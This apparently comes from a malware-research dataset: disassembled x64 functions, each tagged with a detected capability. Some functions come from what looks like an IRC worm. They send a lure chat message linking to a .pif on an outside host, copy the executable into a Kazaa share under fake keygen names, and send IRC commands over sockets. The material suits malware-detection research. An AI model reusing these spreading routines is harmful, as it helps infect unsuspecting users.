joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001cdd0
Capabilities:
Hash data using murmur3

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov r15, rdx
mov rbx, rcx
lea r14, [rcx + 0x10]
lea rsi, [rcx + 8]
cmp dword [rcx], 0
jne 0x18001cf8d
mov r8, qword [r14]
sub r8, qword [rsi]
sar r8, 4
cmp r8, 2
jle 0x18001cf8d
mov qword [rax - 0x38], rdx
movups xmm0, xmmword [rdx]
movups xmmword [rax - 0x48], xmm0
movups xmmword [rax - 0x30], xmm0
movsd xmm0, qword [rdx + 0x10]
movsd qword [rax - 0x20], xmm0
mov ebx, 1
mov rcx, r8
shr rcx, 1
add rcx, r8
cmp rbx, rcx
jae 0x18001ce48
nop
add rbx, rbx
cmp rbx, rcx
jb 0x18001ce40
lea rbp, [rbx*8]
mov rdx, rbp
mov rcx, r15
call fcn.18000cb00
mov rdi, rax
test rax, rax
jne 0x18001ce9e
mov rcx, qword [r15]
movups xmm0, xmmword [rsp + 0x20]
movq rdi, xmm0
cmp rcx, rdi
je 0x18001ce8b
mov rbx, qword [rcx]
call qword [0x18002d008]
mov rcx, rbx
cmp rbx, rdi
jne 0x18001ce75
movups xmm0, xmmword [rsp + 0x20]
mov qword [r15], rdi
psrldq xmm0, 8
movq qword [r15 + 8], xmm0
jmp 0x18001d01d
mov r8, rbp
xor edx, edx
mov rcx, rdi
call fcn.1800210bc
mov rsi, qword [rsi]
mov r11, rsi
cmp rsi, qword [r14]
je 0x18001cf4f
nop word [rax + rax]
mov rax, qword [r11 + 8]
test rax, rax
je 0x18001cece
xor r8d, r8d
jmp 0x18001ced1
mov r8, qword [r11]
test rax, rax
cmovne r8, rax
test r8, r8
je 0x18001cf42
mov eax, r8d
shr eax, 0x10
xor eax, r8d
imul ecx, eax, 0x85ebca6b
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0xc2b2ae35
mov eax, ecx
shr eax, 0x10
xor eax, ecx
lea r10, [rbx - 1]
and rax, r10
xor ecx, ecx
nop dword [rax]
lea r9, [rdi + rax*8]
mov rdx, qword [r9]
test rdx, rdx
je 0x18001cf34
cmp rdx, r8
je 0x18001cf42
inc rax
add rax, rcx
and rax, r10
inc rcx
cmp rcx, r10
jbe 0x18001cf10
jmp 0x18001cf42
mov qword [r9], r8
movups xmm0, xmmword [r11]
movups xmmword [rsi], xmm0
add rsi, 0x10
add r11, 0x10
cmp r11, qword [r14]
jne 0x18001cec0
mov qword [r14], rsi
mov rcx, qword [r15]
movups xmm0, xmmword [rsp + 0x20]
movq rdi, xmm0
cmp rcx, rdi
je 0x18001cf7a
mov rbx, qword [rcx]
call qword [0x18002d008]
mov rcx, rbx
cmp rbx, rdi
jne 0x18001cf64
movups xmm0, xmmword [rsp + 0x20]
mov qword [r15], rdi
psrldq xmm0, 8
movq qword [r15 + 8], xmm0
jmp 0x18001d01d
mov r11, qword [r14]
mov rax, qword [rsi]
mov rdx, r11
sub rdx, rax
mov rcx, rdx
and rcx, 0xfffffffffffffff0
cmp rcx, 0x10
jle 0x18001cfdb
mov r10, qword [rax]
nop dword [rax]
mov r9, qword [rax + 0x10]
cmp r10, r9
jne 0x18001cfc3
mov rcx, qword [rax + 0x18]
cmp qword [rax + 8], rcx
je 0x18001cfdb
add rax, 0x10
sub rdx, 0x10
mov r10, r9
mov rcx, rdx
and rcx, 0xfffffffffffffff0
cmp rcx, 0x10
jg 0x18001cfb0
cmp rax, r11
je 0x18001d019
mov rdx, rax
add rax, 0x10
cmp rax, r11
je 0x18001d015
nop dword [rax]
mov rcx, qword [rdx]
cmp qword [rax], rcx
jne 0x18001d002
mov rcx, qword [rdx + 8]
cmp qword [rax + 8], rcx
je 0x18001d00c
add rdx, 0x10
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
add rax, 0x10
cmp rax, r11
jne 0x18001cff0
lea rax, [rdx + 0x10]
mov qword [rbx + 0x10], rax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
Function at 0x14000da84
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140017850], eax
call fcn.14000d7d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140017850], 0
jne case.default.0x14000dada
mov ecx, 1
call fcn.14000d7d0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
test ch, dh
xor byte [rdi + 0x64], cl
lodsb al, byte [rsi]
invalid
Function at 0x1414e1108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1414e128f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1414e1139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1414e111f
add dl, dl
jne 0x1414e1146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1414e11a6
xor eax, eax
add dl, dl
jne 0x1414e1155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1414e125d
add dl, dl
jne 0x1414e1166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1414e1173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1414e1180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1414e118d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1414e119a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1414e112e
mov eax, 1
add dl, dl
jne 0x1414e11b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1414e11c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1414e11ab
sub eax, ebx
mov ebx, 1
jne 0x1414e11fc
mov ecx, 1
add dl, dl
jne 0x1414e11de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1414e11eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1414e11d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1414e112e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1414e1218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1414e1225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1414e120d
cmp eax, 0x7d00
jae 0x1414e124b
cmp eax, 0x500
jb 0x1414e1246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1414e112e
cmp eax, 0x7f
ja 0x1414e124e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1414e112e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1414e1282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1414e112e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001005
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
jmp 0x14000bf70
sub rsp, 0x58
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
call qword [sym.imp.WS2_32.dll_getsockname]
movzx ecx, byte [rsp + 0x3e]
lea rdx, str._d._d._d._d
movzx eax, byte [rsp + 0x3f]
movzx r9d, byte [rsp + 0x3d]
movzx r8d, byte [rsp + 0x3c]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
lea rcx, [0x14008cb08]
call fcn.140001393
lea rax, [0x14008cb08]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400011d6
add rsp, 0x58
ret

Function at 0x14000100a
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000b370
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r8, rbx
lea rdx, str._s_r_n
lea rcx, [rsp + 0x20]
call fcn.140001393
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b3d0
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1400011d6
mov rbx, qword [rsp + 0x250]
add rsp, 0x230
pop rdi
ret
Function at 0x140001113
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1400030b0
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x240
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov ebp, edx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
test ebp, ebp
je 0x1400032d4
xor edx, edx
mov qword [rsp + 0x260], rdi
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetFocus]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x61
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor r8d, r8d
movzx ecx, ax
xor edx, edx
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x2e
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x61
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor edx, edx
movzx ecx, ax
mov r8d, 2
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, 0x2e
call qword [sym.imp.USER32.dll_keybd_event]
lea rax, str.http:__sexy4life.atspace.com_mypic.pif
mov edx, 0x200
lea r9, str.Hey_whats_up_look_at_my_new_picture
mov qword [rsp + 0x20], rax
lea r8, str._s__s
lea rcx, [rsp + 0x30]
call fcn.14000123f
xor edi, edi
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], dil
jne 0x1400031d0
test rax, rax
je 0x140003266
mov qword [rsp + 0x258], rbx
mov rbx, rdi
nop dword [rax]
movzx ecx, byte [rsp + rbx + 0x30]
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor r8d, r8d
movzx ecx, ax
xor edx, edx
call qword [sym.imp.USER32.dll_keybd_event]
movzx ecx, byte [rsp + rbx + 0x30]
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor edx, edx
movzx ecx, ax
mov r8d, 2
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc di
lea rcx, [rsp + 0x30]
movzx ebx, di
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140003250
cmp rbx, rax
jb 0x1400031f0
mov rbx, qword [rsp + 0x258]
mov rcx, rsi
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetFocus]
mov rdi, qword [rsp + 0x260]
cmp ebp, 2
jne 0x14000329e
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov al, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400011d6
mov rbp, qword [rsp + 0x268]
add rsp, 0x240
pop rsi
ret
Function at 0x14000115e
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000aec0
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x30]
mov ebx, r9d
call sub.VCRUNTIME140.dll_memset
test ebx, ebx
mov qword [rsp + 0x20], rsi
lea rax, str.PRIVMSG
mov r9, rdi
lea r8, str.NOTICE
cmove r8, rax
lea rdx, str._s__s_:_s_r_n
lea rcx, [rsp + 0x30]
call fcn.140001393
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000af40
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400011d6
mov rbx, qword [rsp + 0x278]
add rsp, 0x240
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000117c
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x14001133c
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x1400113c9
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400113c9
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400113c9
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x1400113b0
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x1400113aa
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1400113b2
add rdx, 0x28
jmp 0x14001138f
xor edx, edx
test rdx, rdx
jne 0x1400113bb
xor al, al
jmp 0x1400113cf
cmp dword [rdx + 0x24], 0
jge 0x1400113c5
xor al, al
jmp 0x1400113cf
mov al, 1
jmp 0x1400113cf
xor al, al
jmp 0x1400113cf
add rsp, 0x18
ret

Function at 0x14000120d
Capabilities:
Terminate process

Disassembly:
jmp 0x14000fff4
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140001271
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000b510
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.140001393
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b570
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1400011d6
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000128f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400108d0
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.140001401
test al, al
je 0x1400107a8
xor dil, dil
mov byte [rsp + 0x20], dil
call fcn.140001366
mov bl, al
mov ecx, dword [0x14008d438]
cmp ecx, 1
je 0x1400107b3
test ecx, ecx
jne 0x1400106e4
mov dword [0x14008d438], 1
lea rdx, [0x140015770]
lea rcx, [0x140015440]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x1400106c5
mov eax, 0xff
jmp 0x14001079d
lea rdx, [0x140015330]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x14008d438], 2
jmp 0x1400106ec
mov dil, 1
mov byte [rsp + 0x20], dil
mov cl, bl
call fcn.140001339
call fcn.1400012b7
mov rbx, rax
cmp qword [rax], 0
je 0x14001071f
mov rcx, rax
call fcn.14000117c
test al, al
je 0x14001071f
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x140092020]
call fcn.1400012f8
mov rbx, rax
cmp qword [rax], 0
je 0x140010741
mov rcx, rax
call fcn.14000117c
test al, al
je 0x140010741
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call fcn.14000141f
movzx ebx, ax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
mov r9d, ebx
mov r8, rax
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400012c6
mov ebx, eax
call fcn.140001294
test al, al
je 0x1400107bd
test dil, dil
jne 0x140010777
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140001168
mov eax, ebx
jmp 0x14001079d
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.14000134d
nop
mov ecx, 7
call fcn.14000134d
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.1400012a3
add rsp, 0x28
jmp 0x14001065c

Function at 0x140001294
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400118e0
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001192a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001192a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001192a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001192a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001192a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001192c
xor al, al
add rsp, 0x28
ret
Function at 0x140001348
Capabilities:
Copy file

Disassembly:
jmp 0x1400035f0
push rbp
sub rsp, 0x30
mov ecx, 0x208
call fcn.140001028
mov rbp, rax
test rax, rax
je 0x14000374c
mov qword [rsp + 0x40], rbx
xor edx, edx
mov qword [rsp + 0x48], rsi
mov r8d, 0x208
mov qword [rsp + 0x50], rdi
mov rcx, rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x104
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r15d, r15d
lea r14, str.C:program_fileskazaamy_shared_folder_
lea r12, str.Windows_2003_Advanced_Server_KeyGen.exe
nop word [rax + rax]
xor edi, edi
mov rsi, r12
nop word [rax + rax]
mov rcx, qword [r14]
lea rdx, [rbp + 0x104]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140003690
lea rax, [rbp + 0x103]
nop dword [rax + rax]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1400036b0
mov r8, qword [rsi]
xor edx, edx
nop
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400036c0
xor r8d, r8d
lea rdx, [rbp + 0x104]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x1400036f9
mov edx, 0x80
lea rcx, [rbp + 0x104]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc edi
add rsi, 8
cmp edi, 0x1c
jb 0x140003680
inc r15d
add r14, 8
cmp r15d, 0xc
jb 0x140003670
mov r15, qword [rsp + 0x20]
mov edx, 0x208
mov r14, qword [rsp + 0x28]
mov rcx, rbp
mov r12, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
call fcn.140001334
mov al, 1
add rsp, 0x30
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x140001398
Capabilities:
Get socket status
Set socket configuration

Disassembly:
jmp 0x140003c90
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x270
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov ebp, r8d
mov dword [rsp + 0x30], 1
movzx edi, dx
mov ebx, ecx
mov r14d, 2
xor r8d, r8d
mov ecx, r14d
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003d6b
movzx ecx, di
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], ebx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rsi
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], ebp
xor edi, edi
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x3c], edi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
xor edx, edx
mov dword [rsp + 0x50], 1
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
setg dil
mov eax, edi
jmp 0x140003d6d
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400011d6
add rsp, 0x270
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400013de
Capabilities:
Enumerate gui resources

Disassembly:
jmp 0x140002f90
sub rsp, 0x28
xor edx, edx
lea rcx, [0x1400013c5]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400011f9]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400010d2]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400013ac]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400010b9]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x14000101e]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x14000119a]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400011b8]
call qword [sym.imp.USER32.dll_EnumWindows]
mov al, 1
add rsp, 0x28
ret
Function at 0x1400013f2
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000b440
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, r8
mov rbx, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x20]
mov rsi, r9
call sub.VCRUNTIME140.dll_memset
mov r9, rsi
lea rcx, [rsp + 0x20]
mov r8, rdi
mov rdx, rbx
call fcn.140001393
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000b4a0
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1400011d6
mov rbx, qword [rsp + 0x258]
add rsp, 0x230
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001406
Capabilities:
Resolve dns

Disassembly:
jmp 0x14000c230
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x14000c266
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14000c25d
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
add rsp, 0x20
pop rbx
ret

Function at 0x140002f90
Capabilities:
Enumerate gui resources

Disassembly:
jmp 0x140002f90
sub rsp, 0x28
xor edx, edx
lea rcx, [0x1400013c5]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400011f9]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400010d2]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400013ac]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400010b9]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x14000101e]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x14000119a]
call qword [sym.imp.USER32.dll_EnumWindows]
xor edx, edx
lea rcx, [0x1400011b8]
call qword [sym.imp.USER32.dll_EnumWindows]
mov al, 1
add rsp, 0x28
ret